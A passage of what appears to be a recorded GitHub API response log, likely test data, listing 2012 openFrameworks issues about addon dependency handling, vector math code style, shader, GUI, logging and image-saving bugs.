ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033},"id":3627067,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3614231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3605277,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"503341a3315e7439ca42af2db36615d4"'), ('date', 'Tue, 29 May 2012 20:01:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? 